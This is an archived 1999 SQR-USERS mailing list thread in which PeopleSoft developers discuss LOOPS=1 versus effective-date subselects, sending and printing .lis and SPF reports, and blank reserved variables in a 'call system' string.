McCutcheon. Honda of Canada Mfg. From owner-sqr-users@list.iex.net Tue Oct 12 19:29:27 1999 Date: Tue, 12 Oct 1999 20:18:36 +0100 From: "tom.collins" Subject: Loops vs Subselect Technically in this case they should both be the same. The subselect searching for max(EFFDT) is usually considered to be 'more correct'. Using the loop command is good for testing, but often considered a lazy way to do things. If you're truly looking for a single record, then the SQL should be written to retrieve a single record. Loops can be useful if you need to retrieve multiple records where perhaps you need to compare values on a series of records. The problem with subselects in relation to PeopleSoft is the number of joins that are sometimes required. If you're using a record that has something like EFFSEQ in addition to EFFDT, it means that you're now joining 3 tables as in a.EFFDT = (select max(EFFDT) from PS_JOB where a.EMPLID = EMPLID and EFFDT <= $AsOfDate) and a.EFFSEQ = (select max(EFFSEQ) from PS_JOB where a.EMPLID = EMPLID and a.EFFDT = EFFDT) So simply by joining this table with a few others, you can easily reach the limit on number of tables joined, depending upon the database platform. In some of these cases you're almost forced into doing things like limiting with the LOOPs command, etc. I've also found, though, that LOOPS doesn't work well on some platforms, and return rather unpredictable results. Hope that helps some. -- ______________________________________________ Tom Collins / Topaco Software Solutions, Inc. Phone: 937-435-3299 Fax: 708-575-3433 -- From owner-sqr-users@list.iex.net Tue Oct 12 16:57:34 1999 Date: Tue, 12 Oct 1999 16:39:23 -0500 From: Kathy Mason Subject: regarding loops and effective dates I am not sure if this is an SQR question or a SQL question, but perhaps someone can clear this up for me. We have an effective dated system (PeopleSoft) on Oracle with a HPUX platform. I was taught to select the max effective date by having something like this in the where clause: where l.effdt = (select max(effdt) from ps_flat_rate_tbl where flat_rate_id = l.flat_rate_id and effdt <= $AsOfDate) I have inherited several SQRs that have loops=1 and order by effective date in desc order (see sample code below). It appears to produce the same results either way. I was just wondering if one way was better than the other or is there no difference. Hope you can understand this. Thanks in Advance. Kathy Sample Code: BEGIN-PROCEDURE FIND-FLAT-RATE BEGIN-SELECT LOOPS=1 L.TOTAL_COVRG_RATE L.FLAT_RATE_ID L.PAY_FREQUENCY L.RATE_UNIT FROM PS_FLAT_RATE_TBL L WHERE L.FLAT_RATE_ID = &K.RATE_TBL_ID AND L.EFFDT <= $AsOfDate ORDER BY L.EFFDT DESC END-SELECT END-PROCEDURE From owner-sqr-users@list.iex.net Tue Oct 12 17:13:59 1999 Date: Tue, 12 Oct 1999 17:58:23 -0400 From: Rick Creel Subject: Re: regarding loops and effective dates I am not sure about this, but my guess would be that the LOOPS=1 will only get the absolute most current record, where as your effective dating logic will get the record that is most current when compared to your ASOFDATE. If your ASOFDATE is always the system date, then either would work fine. However, if your ASOFDATE could possibly be any date other than the system date, then I would suggest you use the effective date logic when selecting your record. Kathy Mason on 10/12/99 05:39:23 PM Please respond to SQR-USERS@list.iex.net To: Multiple recipients of list SQR-USERS cc: (bcc: Rick Creel/IT/Aon Consulting) Subject: regarding loops and effective dates I am not sure if this is an SQR question or a SQL question, but perhaps someone can clear this up for me. We have an effective dated system (PeopleSoft) on Oracle with a HPUX platform. I was taught to select the max effective date by having something like this in the where clause: where l.effdt = (select max(effdt) from ps_flat_rate_tbl where flat_rate_id = l.flat_rate_id and effdt <= $AsOfDate) I have inherited several SQRs that have loops=1 and order by effective date in desc order (see sample code below). It appears to produce the same results either way. I was just wondering if one way was better than the other or is there no difference. Hope you can understand this. Thanks in Advance. Kathy Sample Code: BEGIN-PROCEDURE FIND-FLAT-RATE BEGIN-SELECT LOOPS=1 L.TOTAL_COVRG_RATE L.FLAT_RATE_ID L.PAY_FREQUENCY L.RATE_UNIT FROM PS_FLAT_RATE_TBL L WHERE L.FLAT_RATE_ID = &K.RATE_TBL_ID AND L.EFFDT <= $AsOfDate ORDER BY L.EFFDT DESC END-SELECT END-PROCEDURE From owner-sqr-users@list.iex.net Tue Oct 12 17:20:11 1999 Date: Tue, 12 Oct 1999 17:13:04 -0500 From: Diwakar Bhatt Subject: E-mailing a SQR report: Conversion requirements Has anyone e-mailed a sqr report itself? The sqr produces a .lis (dot LIS) file and we would like to convert it, probably using Acrobat, and then e-mail it. What are the other ways to convert it. The recipient is not a PeopleSoft user and does not have any sqr product on their site. From owner-sqr-users@list.iex.net Tue Oct 12 17:20:58 1999 Date: Tue, 12 Oct 1999 15:14:47 PDT From: Ed Kelly Subject: Re: regarding loops and effective dates First, if you're using PeopleSoft, and it looks like you are, you probably want to use the variable $AsOfToday instead of $AsOfDate. $AsOfToday is created by the SQC curdttim.sqc and stores the current system date in native database format. Second the code you inherited (loops=1) will work, but it will only retrieve 1 record per select statement. Does your code have a main procedure that calls FIND-FLAT-RATE? I suspect that it does. This will cause a second cursor to be created just to retrieve the pay frequency, units, etc. If you wanted to join the table PS_FLAT_RATE_TBL directly to something else, say the job table, you would be forced to used the subquery method. The advantage is that only one cursor would need to be built. There is probably also a performance savings to this technique, but I cannot say for certain. Ed Kelly >From: Kathy Mason >Reply-To: SQR-USERS@list.iex.net >To: Multiple recipients of list SQR-USERS >Subject: regarding loops and effective dates >Date: Tue, 12 Oct 1999 16:39:23 -0500 > >I am not sure if this is an SQR question or a SQL question, but perhaps >someone >can clear this up for me. We have an effective dated system (PeopleSoft) >on >Oracle with a HPUX platform. > >I was taught to select the max effective date by having something like this >in >the where clause: > >where l.effdt = (select max(effdt) from ps_flat_rate_tbl > where flat_rate_id = l.flat_rate_id > and effdt <= $AsOfDate) > >I have inherited several SQRs that have loops=1 and order by effective date >in >desc order (see sample code below). It appears to produce the same >results >either way. I was just wondering if one way was better than the other or >is >there no difference. Hope you can understand this. Thanks in Advance. > >Kathy > >Sample Code: > > >BEGIN-PROCEDURE FIND-FLAT-RATE >BEGIN-SELECT LOOPS=1 >L.TOTAL_COVRG_RATE >L.FLAT_RATE_ID >L.PAY_FREQUENCY >L.RATE_UNIT > > FROM PS_FLAT_RATE_TBL L >WHERE L.FLAT_RATE_ID = &K.RATE_TBL_ID > AND L.EFFDT <= $AsOfDate >ORDER BY L.EFFDT DESC >END-SELECT >END-PROCEDURE ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com From owner-sqr-users@list.iex.net Tue Oct 12 17:32:07 1999 Date: Tue, 12 Oct 1999 15:25:41 -0700 From: "Peter R. Lewandowski" Subject: Re: E-mailing a SQR report: Conversion requirements What version of SQR do you have, and what platform? Commands are different sometimes. Date sent: Tue, 12 Oct 1999 17:13:04 -0500 Send reply to: SQR-USERS@list.iex.net From: Diwakar Bhatt Subject: E-mailing a SQR report: Conversion requirements To: Multiple recipients of list SQR-USERS > Has anyone e-mailed a sqr report itself? The sqr produces a .lis (dot LIS) > file and we would like to convert it, probably using Acrobat, and then > e-mail it. What are the other ways to convert it. The recipient is not a > PeopleSoft user and does not have any sqr product on their site. Pete Lewandowski Analyst/Programmer 818-677-7539 From owner-sqr-users@list.iex.net Tue Oct 12 17:54:48 1999 Date: Tue, 12 Oct 1999 18:48:05 EDT From: Ken DesLauriers Subject: Re: Using 'Alter-Printer' with Different Fonts I have found that referencing pitch-size rather than font numbers works much better. This gives the same results, unless you are looking for italics. From owner-sqr-users@list.iex.net Tue Oct 12 18:10:44 1999 Date: Tue, 12 Oct 1999 18:04:17 -0500 From: Diwakar Bhatt Subject: Re: E-mailing a SQR report: Conversion requirements Planning to use sqr version 4.3.2, Oracle database, Unix environment. I know how to e-mail the report, the question is how to ensure that the recipients can print it when the e-mail delivers the lis file as an attachment. The users may have various types of printers. Special fonts get clobbered if you try to print from Windows. "Peter R. Lewandowski" 10/12/99 10:25 PM GMT Please respond to SQR-USERS@list.iex.net To: Multiple recipients of list SQR-USERS cc: (bcc: Diwakar V. Bhatt) Subject: Re: E-mailing a SQR report: Conversion requirements What version of SQR do you have, and what platform? Commands are different sometimes. Date sent: Tue, 12 Oct 1999 17:13:04 -0500 Send reply to: SQR-USERS@list.iex.net From: Diwakar Bhatt Subject: E-mailing a SQR report: Conversion requirements To: Multiple recipients of list SQR-USERS > Has anyone e-mailed a sqr report itself? The sqr produces a .lis (dot LIS) > file and we would like to convert it, probably using Acrobat, and then > e-mail it. What are the other ways to convert it. The recipient is not a > PeopleSoft user and does not have any sqr product on their site. Pete Lewandowski Analyst/Programmer 818-677-7539 From owner-sqr-users@list.iex.net Tue Oct 12 19:09:52 1999 Date: Tue, 12 Oct 1999 17:04:15 -0700 From: "Peter R. Lewandowski" Subject: Re: E-mailing a SQR report: Conversion requirements Can you make the report into HTML and then have the browser handle printing? You need the graphic links though, this might not be a perfect solution. You can give them the SQR Windows Viewer and email the SPF file use the -KEEP switch. Test your report in the SPF viewer by printing it off, sometimes you might get different results. Also try to stick with standard fonts, if you can't, make certain the recipient has the ones you are using installed for the SPF viewer. Another free solution is to try out GhostView this will create a PDF file from postscript files. The only problem is the lack of fonts. This is free and gets you added bonus of format control. It is freeware and you may not find a complied version for your Unix server but you can look around. I know there is one for AIX, and Linux out there but I don't know where. The site for the source is http://www.gnu.org/software/ghostview/ghostview.html. These are free solutions, if you are going to be doing this a lot then ,yes Adobe would be the way to go. Another product to look at is SwiftView at http://www.ndg.com/ this will allow the end user to view HPGL in a browser and then print the file using what ever local print driver they have. Hope this helps, > Planning to use sqr version 4.3.2, Oracle database, Unix environment. I > know how to e-mail the report, the question is how to ensure that the > recipients can print it when the e-mail delivers the lis file as an > attachment. The users may have various types of printers. Special fonts > get clobbered if you try to print from Windows. > > What version of SQR do you have, and what platform? Commands > are different sometimes. > > > Has anyone e-mailed a sqr report itself? The sqr produces a .lis (dot > > LIS) file and we would like to convert it, probably using Acrobat, and > > then e-mail it. What are the other ways to convert it. The recipient is > > not a PeopleSoft user and does not have any sqr product on their site. Pete Lewandowski Analyst/Programmer 818-677-7539 From owner-sqr-users@list.iex.net Tue Oct 12 19:12:01 1999 Date: Tue, 12 Oct 1999 17:08:20 -0700 From: John Sayre Subject: Re: E-mailing a SQR report: Conversion requirements From: John Sayre@GAPINC on 10/12/99 05:08 PM >From the dos command window, have them issue the standard DOS command "Print c:\*.lis" ( or wherever it is). Or create a batch file for them with a shortcut on their desktop. In either case, it will cause the HP PCL commands to work with any HP type printer . If your printers don't use PCL, they will need to open it in Word or something like it and choose a fixed font (courier 16.67 comes to mind) and if the PCL characters show, they will have to cut them out if that freaks them out. Please respond to SQR-USERS@list.iex.net To: Multiple recipients of list SQR-USERS cc: (bcc: John Sayre/SB/GAPINC) Subject: Re: E-mailing a SQR report: Conversion requirements Planning to use sqr version 4.3.2, Oracle database, Unix environment. I know how to e-mail the report, the question is how to ensure that the recipients can print it when the e-mail delivers the lis file as an attachment. The users may have various types of printers. Special fonts get clobbered if you try to print from Windows. "Peter R. Lewandowski" 10/12/99 10:25 PM GMT Please respond to SQR-USERS@list.iex.net To: Multiple recipients of list SQR-USERS cc: (bcc: Diwakar V. Bhatt) Subject: Re: E-mailing a SQR report: Conversion requirements What version of SQR do you have, and what platform? Commands are different sometimes. Date sent: Tue, 12 Oct 1999 17:13:04 -0500 Send reply to: SQR-USERS@list.iex.net From: Diwakar Bhatt Subject: E-mailing a SQR report: Conversion requirements To: Multiple recipients of list SQR-USERS > Has anyone e-mailed a sqr report itself? The sqr produces a .lis (dot LIS) > file and we would like to convert it, probably using Acrobat, and then > e-mail it. What are the other ways to convert it. The recipient is not a > PeopleSoft user and does not have any sqr product on their site. Pete Lewandowski Analyst/Programmer 818-677-7539 From owner-sqr-users@list.iex.net Tue Oct 12 22:01:46 1999 Date: Tue, 12 Oct 1999 22:44:50 -0400 From: Amanda Parris Subject: Re: How to code a complicated report unsubscribe At 05:17 PM 10/11/99 -0400, you wrote: >What is your database? I have done a lot of reports of this kind. > >Vivek > >At 04:50 PM 10/11/99 , you wrote: >>Hello all! I have been writing SQR programs for about ten months now. We >have an >>Informix database platform with SQR 4.3.2 , UNIX Op Sys. I am writing a >>complicated program for the accounting dept and I need help. The program >>generates a report file that sums the month to date department totals (wages) >>for hourly employees. Sounds simple right? Wrong! This is how the report >should >>look: >> >> >> 101 >> 102 110 130 140 150 152 180 176 134 112 310etc...total of 24 >>columns >> 109 111 131 141 151 153 181 177 113 310 >> >>Dept Reg Mitt Sunday Hol Early Min >> Retire Wage >> Incentive Adjust >> Pay >> >>3c1 319 555 738 837 2883 32737 9993 99438 8848 99893 >>3848 >>3c2 330 838 84849 4985 4858 484578 95495 9595 95965 >>54858 49595 >>3C4 4858 8585 85865 995 9966 8855 95968 95895 7577 734647 >>3646 >> >>etc...more depts >> >> >>The numbers is bold are earnings codes. Those aren't printed on the report. I >>just want to show the that I use different codes for each column. The >earnings >>codes have a month to date value associated with each row on the earnings_bal >>table. I have to sum the month to date amount for each field for every >>department. For example, the first column is the department field. The second >>column contains the earnings codes for regular wages. The month to date >regular >>wages sum for dept 3c1 is 319, which is the sum of the month to date wages >for >>codes 101, 102 and 109. The third column contains the Mitt wages. The sum of >>codes 110 and 111 are the Mitt wages. etc, etc,. My question is, what is the >>easiest way to code this program. Do I need to use arrays, load-lookup >tables or >>temp tables? I do know that it would be very inefficient to do 24 different >>select statements and changing the line in the where clause that says "and >erncd >>in ('101','102','109') for each column. >> >>The entire program is just an extract. The only calc's that I do are the >sums. >>Also, the number of depts that will end up on the report is unknown due to >other >>criteria such as, only hourly employees, not in a certain location, etc. But, >>there will be exactly 24 columns across ( not including the dept column). >> >> >>Thanks in advance! >> > From owner-sqr-users@list.iex.net Tue Oct 12 22:01:40 1999 Date: Wed, 13 Oct 1999 10:57:51 +0800 From: "Ivory, Wayne" Subject: What happened to my Reserved Variables? SQR 3 Informix 7.2(?) SCO Open Server We have an SQR that does a 'call system' to a Unix shell script and passes a couple of SQR Reserved Variables to the script. Recently this SQR has had some major work done on it, and now the reserved variables appear to be blank. I'm not aware of anything that a programmer could do that would affect this. Following is the code: let $Run_String = getenv('PS_HOME') || '/../wsl_scripts/xferjnl ' || $USERNAME || ' ' || $OutputDest || ' 2>' || $SQR-REPORT || '.err' show $Run_String call system using $Run_String #Unix_Status The 'show' produces the following: /u/peoplesoft/hrtest/../wsl_scripts/xferjnl /tmp/GLIF9IM.1100 2>.err Note that nothing is output where $USERNAME and $SQR-REPORT should be. Yet I wrote a 3-liner that says: begin-report show $USERNAME end-report which outputs 'HRTEST'. What could be blanking these variables? Wayne Ivory Information Services Iluka Resources Limited From owner-sqr-users@list.iex.net Wed Oct 13 08:03:38 1999 Date: Wed, 13 Oct 1999 08:54:51 -0400 From: John Milardovic Subject: Re: What happened to my Reserved Variables? Hi Wayne. It sounds like you might have made a previously global procedure into a local one. If so use the underscore character to reference the global variable. ie. $_USERNAME HTH John Milardovic > -----Original Message----- > From: Ivory, Wayne [SMTP:wayne.ivory@ILUKA.COM] > Sent: Tuesday, October 12, 1999 10:58 PM > To: Multiple recipients of list SQR-USERS > Subject: What happened to my Reserved Variables? > > SQR 3 > Informix 7.2(?) > SCO Open Server > > We have an SQR that does a 'call system' to a Unix shell script and passes > a > couple of SQR Reserved Variables to the script. Recently this SQR has had > some major work done on it, and now the reserved variables appear to be > blank. I'm not aware of anything that a programmer could do that would > affect this. Following is the code: > > let $Run_String = getenv('PS_HOME') || > '/../wsl_scripts/xferjnl > ' || $USERNAME || ' ' || $OutputDest || ' 2>' || $SQR-REPORT || '.err' > show $Run_String > call system using $Run_String #Unix_Status > > The 'show' produces the following: > > /u/peoplesoft/hrtest/../wsl_scripts/xferjnl /tmp/GLIF9IM.1100 > 2>.err > > Note that nothing is output where $USERNAME and $SQR-REPORT should be. > Yet > I wrote a 3-liner that says: > > begin-report > show $USERNAME > end-report > > which outputs 'HRTEST'. What could be blanking these variables? > > Wayne Ivory > Information Services > Iluka Resources Limited From owner-sqr-users@list.iex.net Wed Oct 13 09:16:00 1999 Date: Wed, 13 Oct 1999 10:02:30 -0400 From: Chuck King Subject: Re: E-mailing a SQR report: Conversion requirements The simplelist solution would be to send the client (end-user of this file) the SQR viewer and then send the spf output files. Chuck L. King "Peter R. Lewandowski" on 10/12/99 05:25:41 PM Please respond to SQR-USERS@list.iex.net To: Multiple recipients of list SQR-USERS cc: (bcc: Chuck L King/IowaPark/NA/SAC) Subject: Re: E-mailing a SQR report: Conversion requirements What version of SQR do you have, and what platform? Commands are different sometimes. Date sent: Tue, 12 Oct 1999 17:13:04 -0500 Send reply to: SQR-USERS@list.iex.net From: Diwakar Bhatt Subject: E-mailing a SQR report: Conversion requirements To: Multiple recipients of list SQR-USERS > Has anyone e-mailed a sqr report itself? The sqr produces a .lis (dot LIS) > file and we would like to convert it, probably using Acrobat, and then > e-mail it. What are the other ways to convert it. The recipient is not a > PeopleSoft user and does not have any sqr product on their site. Pete Lewandowski Analyst/Programmer 818-677-7539 From owner-sqr-users@list.iex.net Wed Oct 13 09:28:55 1999 Date: Wed, 13 Oct 1999 10:12:17 -0400 From: "Bencke, Gina" Subject: Re: E-mailing a SQR report: Conversion requirements This solution could create a licensing issue. I believe the Viewer can be licensed separately from SQR, but one would have to work this out with Brio Technology. Gina Bencke -----Original Message----- From: Chuck King [mailto:Chuck.L.King@SEALEDAIR.COM] Sent: Wednesday, October 13, 1999 10:03 AM To: Multiple recipients of list SQR-USERS Subject: Re: E-mailing a SQR report: Conversion requirements The simplelist solution would be to send the client (end-user of this file) the SQR viewer and then send the spf output files. Chuck L. King "Peter R. Lewandowski" on 10/12/99 05:25:41 PM Please respond to SQR-USERS@list.iex.net To: Multiple recipients of list SQR-USERS cc: (bcc: Chuck L King/IowaPark/NA/SAC) Subject: Re: E-mailing a SQR report: Conversion requirements What version of SQR do you have, and what platform? Commands are different sometimes. Date sent: Tue, 12 Oct 1999 17:13:04 -0500 Send reply to: SQR-USERS@list.iex.net From: Diwakar Bhatt Subject: E-mailing a SQR report: Conversion requirements To: Multiple recipients of list SQR-USERS > Has anyone e-mailed a sqr report itself? The sqr produces a .lis (dot LIS) > file and we would like to convert it, probably using Acrobat, and then > e-mail it. What are the other ways to convert it. The recipient is not a > PeopleSoft user and does not have any sqr product on their site. Pete Lewandowski Analyst/Programmer 818-677-7539 From owner-sqr-users@list.iex.net Wed Oct 13 09:35:42 1999 Date: Wed, 13 Oct 1999 09:29:38 -0500 From: "Rao, Sam" Subject: Re: regarding loops and effective dates Kathy, The result of both the queries: sub-query to get max(effdt) and LOOPS = 1 sample code below, will be the same. Both will return the most current row <= $AsOfDate! LOOPS =1 is an SQR construct, that will get the first row returned by the query and then exit out of the query, even if the query has more rows to return. The sample code below uses LOOPS = 1 to probably improve performance! By using LOOPS =1 with the Order By Desc, you bypass having to use a correlated sub-query to find the most current date. But remember, using the ORDER BY results in a sort operation -- which would again reduce performance! Use the LOOPS alternative if you have too many sub-queries in your query or the sub-query runs too slow due to data in the table ,etc,etc... Sam Rao > -----Original Message----- > From: Kathy Mason [SMTP:kmason@GIX-GLOBAL.COM] > Sent: Tuesday, October 12, 1999 4:39 PM > To: Multiple recipients of list SQR-USERS > Subject: regarding loops and effective dates > > I am not sure if this is an SQR question or a SQL question, but perhaps > someone > can clear this up for me. We have an effective dated system (PeopleSoft) > on > Oracle with a HPUX platform. > > I was taught to select the max effective date by having something like > this in > the where clause: > > where l.effdt = (select max(effdt) from ps_flat_rate_tbl > where flat_rate_id = l.flat_rate_id > and effdt <= $AsOfDate) > > I have inherited several SQRs that have loops=1 and order by effective > date in > desc order (see sample code below). It appears to produce the same > results > either way. I was just wondering if one way was better than the other or > is > there no difference. Hope you can understand this. Thanks in Advance. > > Kathy > > Sample Code: > > > BEGIN-PROCEDURE FIND-FLAT-RATE > BEGIN-SELECT LOOPS=1 > L.TOTAL_COVRG_RATE > L.FLAT_RATE_ID > L.PAY_FREQUENCY > L.RATE_UNIT > > FROM PS_FLAT_RATE_TBL L > WHERE L.FLAT_RATE_ID = &K.RATE_TBL_ID > AND L.EFFDT <= $AsOfDate > ORDER BY L.EFFDT DESC > END-SELECT > END-PROCEDURE From owner-sqr-users@list.iex.net Wed Oct 13 09:46:14 1999 Date: Wed, 13 Oct 1999 10:31:34 -0400 From: "Reznik, Michael" Subject: Re: E-mailing a SQR report: Conversion requirements In all honesty I think you are making this a bigger problem than it needs to be. The .lis file is just a simple text file. You can rename the file from xxx.lis to xxx.txt and use notepad to open it. There is no conversion needed. Just attach the report to the email and let the user open the report in any program they want. If they want to print the report and keep the formatting then all they need to do is just copy the report to the printer from a dos prompt (I believe John Sayre touched upon this). Really simply: > Copy C:\temp\xxx.lis lpt1 (if lpt1 is defined) OR > Copy C:\temp\xxx.lis \\printer_loacation\printer_name Hope this helps, -Mike -----Original Message----- From: Diwakar Bhatt [mailto:diwakar.v.bhatt@AC.COM] Sent: Tuesday, October 12, 1999 5:13 PM To: Multiple recipients of list SQR-USERS Subject: E-mailing a SQR report: Conversion requirements Has anyone e-mailed a sqr report itself? The sqr produces a .lis (dot LIS) file and we would like to convert it, probably using Acrobat, and then e-mail it. What are the other ways to convert it. The recipient is not a PeopleSoft user and does not have any sqr product on their site. From owner-sqr-users@list.iex.net Wed Oct 13 10:01:57 1999 Date: Wed, 13 Oct 1999 07:52:41 -0700 From: Jason Penney Subject: Re: regarding loops and effective dates I'd suggest searching the SQRUG archives for "LOOPS=1." Specifically, I once posted a message from my local DBA that details the performance impact of loops vs. subselects. http://www.sqrug.com/sqr-users/sqrusers_99q1/msg00572.html Enjoy! ===== !=========================================================! Jason Penney Obligitory quotation: "You can't be a real country unless you have a beer and an airline. It helps if you have some kind of a football team, or some nuclear weapons, but at the very least you need a beer." –Frank Zappa !=========================================================! __________________________________________________ Do You Yahoo!? Bid and sell for free at http://auctions.yahoo.com From owner-sqr-users@list.iex.net Wed Oct 13 10:58:00 1999 Date: Wed, 13 Oct 1999 11:39:24 -0400 From: ChiangSeng Chang Subject: Any way to print specific pages ? Hi all, Is there a way to 'print' specific pages from a SPF file to an output file ? Regards. Chiang Seng Chang From owner-sqr-users@list.iex.net Wed Oct 13 10:58:48 1999 Date: Wed, 13 Oct 1999 08:49:57 -0700 From: Clara Carter Subject: Re: E-mailing a SQR report: Conversion requirements Actually once you purchase sqr the viewer is free and you can distribute the viewer to your users. I got this information from Brio. We have the same issue with reportmart. We are going to put a link to a download of the viewer so that our clients can print their report from the viewer and not have to reply on the html (which is messy and uncontrolable). cc At 10:12 AM 10/13/99 -0400, you wrote: >This solution could create a licensing issue. I believe the Viewer can >be licensed separately from SQR, but one would have to work this out >with Brio Technology. > >Gina Bencke > >-----Original Message----- >From: Chuck King [mailto:Chuck.L.King@SEALEDAIR.COM] >Sent: Wednesday, October 13, 1999 10:03 AM >To: Multiple recipients of list SQR-USERS >Subject: Re: E-mailing a SQR report: Conversion requirements > > >The simplelist solution would be to send the client (end-user of this >file) the >SQR viewer and then send the spf output files. > >Chuck L. King > > > > > > > > >"Peter R. Lewandowski" on 10/12/99 05:25:41 >PM > >Please respond to SQR-USERS@list.iex.net > > > > > > > > > To: Multiple recipients of list SQR-USERS > > > cc: (bcc: Chuck L King/IowaPark/NA/SAC) > > > > Subject: Re: E-mailing a SQR report: Conversion requirements > > > > > > > >What version of SQR do you have, and what platform? Commands >are different sometimes. > >Date sent: Tue, 12 Oct 1999 17:13:04 -0500 >Send reply to: SQR-USERS@list.iex.net >From: Diwakar Bhatt >Subject: E-mailing a SQR report: Conversion requirements >To: Multiple recipients of list SQR-USERS > > >> Has anyone e-mailed a sqr report itself? The sqr produces a .lis (dot >LIS) >> file and we would like to convert it, probably using Acrobat, and then >> e-mail it. What are the other ways to convert it. The recipient is not >a >> PeopleSoft user and does not have any sqr product on their site. > > >Pete Lewandowski >Analyst/Programmer >818-677-7539 From owner-sqr-users@list.iex.net Wed Oct 13 11:13:36 1999 Date: Wed, 13 Oct 1999 11:59:38 -0400 From: ChiangSeng Chang Subject: Re: E-mailing a SQR report: Conversion requirements Hi Clara, I forgot to mentioned that I need to be able to do this 'programmatically'. For example, to extract pages 10 to 20 from a SPF file and send the result to a printer within an application program. Regards. Chiang Seng Chang Clara Carter on 10/13/99 11:49:57 AM Please respond to SQR-USERS@list.iex.net To: Multiple recipients of list SQR-USERS cc: (bcc: Chiang Chang/QRTP/Quintiles) Subject: Re: E-mailing a SQR report: Conversion requirements Actually once you purchase sqr the viewer is free and you can distribute the viewer to your users. I got this information from Brio. We have the same issue with reportmart. We are going to put a link to a download of the viewer so that our clients can print their report from the viewer and not have to reply on the html (which is messy and uncontrolable). cc At 10:12 AM 10/13/99 -0400, you wrote: >This solution could create a licensing issue. I believe the Viewer can >be licensed separately from SQR, but one would have to work this out >with Brio Technology. > >Gina Bencke > >-----Original Message----- >From: Chuck King [mailto:Chuck.L.King@SEALEDAIR.COM] >Sent: Wednesday, October 13, 1999 10:03 AM >To: Multiple recipients of list SQR-USERS >Subject: Re: E-mailing a SQR report: Conversion requirements > > >The simplelist solution would be to send the client (end-user of this >file) the >SQR viewer and then send the spf output files. > >Chuck L. King > > > > > > > > >"Peter R. Lewandowski" on 10/12/99 05:25:41 >PM > >Please respond to SQR-USERS@list.iex.net > > > > > > > > > To: Multiple recipients of list SQR-USERS > > > cc: (bcc: Chuck L King/IowaPark/NA/SAC) > > > > Subject: Re: E-mailing a SQR report: Conversion requirements > > > > > > > >What version of SQR do you have, and what platform? Commands >are different sometimes. > >Date sent: Tue, 12 Oct 1999 17:13:04 -0500 >Send reply to: SQR-USERS@list.iex.net >From: Diwakar Bhatt >Subject: E-mailing a SQR report: Conversion requirements >To: Multiple recipients of list SQR-USERS > > >> Has anyone e-mailed a sqr report itself? The sqr produces a .lis (dot >LIS) >> file and we would like to convert it, probably using Acrobat, and then >> e-mail it. What are the other ways to convert it. The recipient is not >a >> PeopleSoft user and does not have any sqr product on their site. > > >Pete Lewandowski >Analyst/Programmer >818-677-7539 From owner-sqr-users@list.iex.net Wed Oct 13 11:28:23 1999 Date: Wed, 13 Oct 1999 09:25:34 -0700 From: Clara Carter Subject: Re: E-mailing a SQR report: Conversion requirements I think what you mean is bursting and I believe sqr will not do that. What you can do is in your program create new reports when you find your break and one report can become multiple reports based on whatever you need to separate them by. With the new report command you give it the new name too. When you use the print button, a box appears and there too you can say print pages 10 to 20 but I don't know how you can make that 'programmatically'. This is all I know and hope it helps. clara At 11:59 AM 10/13/99 -0400, you wrote: >Hi Clara, > >I forgot to mentioned that I need to be able to do this 'programmatically'. > >For example, to extract pages 10 to 20 from a SPF file and send the result to a >printer within an application program. > >Regards. > >Chiang Seng Chang > > > > > > >Clara Carter on 10/13/99 11:49:57 AM > >Please respond to SQR-USERS@list.iex.net > > > > To: Multiple recipients of list SQR-USERS > > > cc: (bcc: Chiang Chang/QRTP/Quintiles) > > > > Subject: Re: E-mailing a SQR report: Conversion requirements > > > > > > > > >Actually once you purchase sqr the viewer is free and you can distribute >the viewer to your users. I got this information from Brio. We have the same >issue with reportmart. We are going to put a link to a download of the viewer >so that our clients can print their report from the viewer and not have >to reply on the html (which is messy and uncontrolable). > >cc > >At 10:12 AM 10/13/99 -0400, you wrote: >>This solution could create a licensing issue. I believe the Viewer can >>be licensed separately from SQR, but one would have to work this out >>with Brio Technology. >> >>Gina Bencke >> >>-----Original Message----- >>From: Chuck King [mailto:Chuck.L.King@SEALEDAIR.COM] >>Sent: Wednesday, October 13, 1999 10:03 AM >>To: Multiple recipients of list SQR-USERS >>Subject: Re: E-mailing a SQR report: Conversion requirements >> >> >>The simplelist solution would be to send the client (end-user of this >>file) the >>SQR viewer and then send the spf output files. >> >>Chuck L. King >> >> >> >> >> >> >> >> >>"Peter R. Lewandowski" on 10/12/99 05:25:41 >>PM >> >>Please respond to SQR-USERS@list.iex.net >> >> >> >> >> >> >> >> >> To: Multiple recipients of list SQR-USERS >> >> >> cc: (bcc: Chuck L King/IowaPark/NA/SAC) >> >> >> >> Subject: Re: E-mailing a SQR report: Conversion requirements >> >> >> >> >> >> >> >>What version of SQR do you have, and what platform? Commands >>are different sometimes. >> >>Date sent: Tue, 12 Oct 1999 17:13:04 -0500 >>Send reply to: SQR-USERS@list.iex.net >>From: Diwakar Bhatt >>Subject: E-mailing a SQR report: Conversion requirements >>To: Multiple recipients of list SQR-USERS >> >> >>> Has anyone e-mailed a sqr report itself? The sqr produces a .lis (dot >>LIS) >>> file and we would like to convert it, probably using Acrobat, and then >>> e-mail it. What are the other ways to convert it. The recipient is not >>a >>> PeopleSoft user and does not have any sqr product on their site. >> >> >>Pete Lewandowski >>Analyst/Programmer >>818-677-7539 From owner-sqr-users@list.iex.net Wed Oct 13 11:32:46 1999 Date: Wed, 13 Oct 1999 09:29:39 -0700 From: Kris Narravula Subject: Re: E-mailing a SQR report: Conversion requirements This is a multi-part message in MIME format. ------=_NextPart_000_001A_01BF155D.78E4DDF0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi all, Hope you all aware of the fact that all the .lis files are not readable = in notepad or some other editor. You can read the .lis file in a notepad = if you are using a line printer only and you can't read it if you are = using a HP or PS printer explicitly in SQR or default it in setenv.sqc.=20 PeopleSoft recommends not to view/ open/ edit the .lis files using any = type of editors as the .lis file contains printer specific commands. You = may find it in PeopleSoft resolutions using customer connection=20 As others suggested you could ask your clients to down load the SPF = viewer before they view the first report. kris ----- Original Message -----=20 From: Reznik, Michael=20 To: Multiple recipients of list SQR-USERS=20 Sent: Wednesday, October 13, 1999 7:31 AM Subject: Re: E-mailing a SQR report: Conversion requirements In all honesty I think you are making this a bigger problem than it needs to be. The .lis file is just a simple text file. You can = rename the file from xxx.lis to xxx.txt and use notepad to open it. There is no conversion needed. Just attach the report to the email and let the user open the report in any program they want. If they want to print the report and keep the formatting then all they need to do is just = copy the report to the printer from a dos prompt (I believe John Sayre touched upon this). Really simply: > Copy C:\temp\xxx.lis lpt1 (if lpt1 is defined) OR > Copy C:\temp\xxx.lis \\printer_loacation\printer_name Hope this helps, -Mike -----Original Message----- From: Diwakar Bhatt 